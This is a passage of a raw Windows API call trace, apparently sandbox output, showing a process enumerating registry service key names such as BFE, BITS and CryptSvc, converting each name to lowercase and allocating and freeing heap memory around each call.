lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0253.678] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.678] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0253.678] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.678] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0253.678] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.678] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0253.678] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0253.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.679] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.679] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.679] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.679] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0253.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0253.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.679] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.679] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.679] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.679] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0253.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0253.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.679] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.679] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.679] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.679] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0253.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0253.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.679] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.680] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.680] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.680] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0253.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0253.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.680] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.680] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.680] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.680] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0253.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0253.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.680] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.680] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.680] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.680] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0253.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0253.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.680] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.680] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.680] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.680] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0253.680] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0253.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.681] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0253.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0253.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.681] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0253.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0253.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.681] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0253.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0253.681] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.682] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0253.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0253.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.682] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0253.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0253.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.682] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0253.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0253.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.682] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0253.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0253.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.683] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.683] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.683] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.683] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0253.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0253.683] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0253.683] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0253.683] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0253.683] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0253.683] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0253.683] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0253.687] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0253.687] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0253.687] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0253.687] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0253.687] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0253.687] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0253.687] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0253.687] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0253.687] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0253.687] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0253.687] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0253.687] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0253.688] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0253.688] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0253.688] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0253.688] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0253.688] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0253.688] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0253.688] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0253.688] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0253.688] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0253.688] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0253.688] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0253.688] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0253.689] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0253.689] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0253.689] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 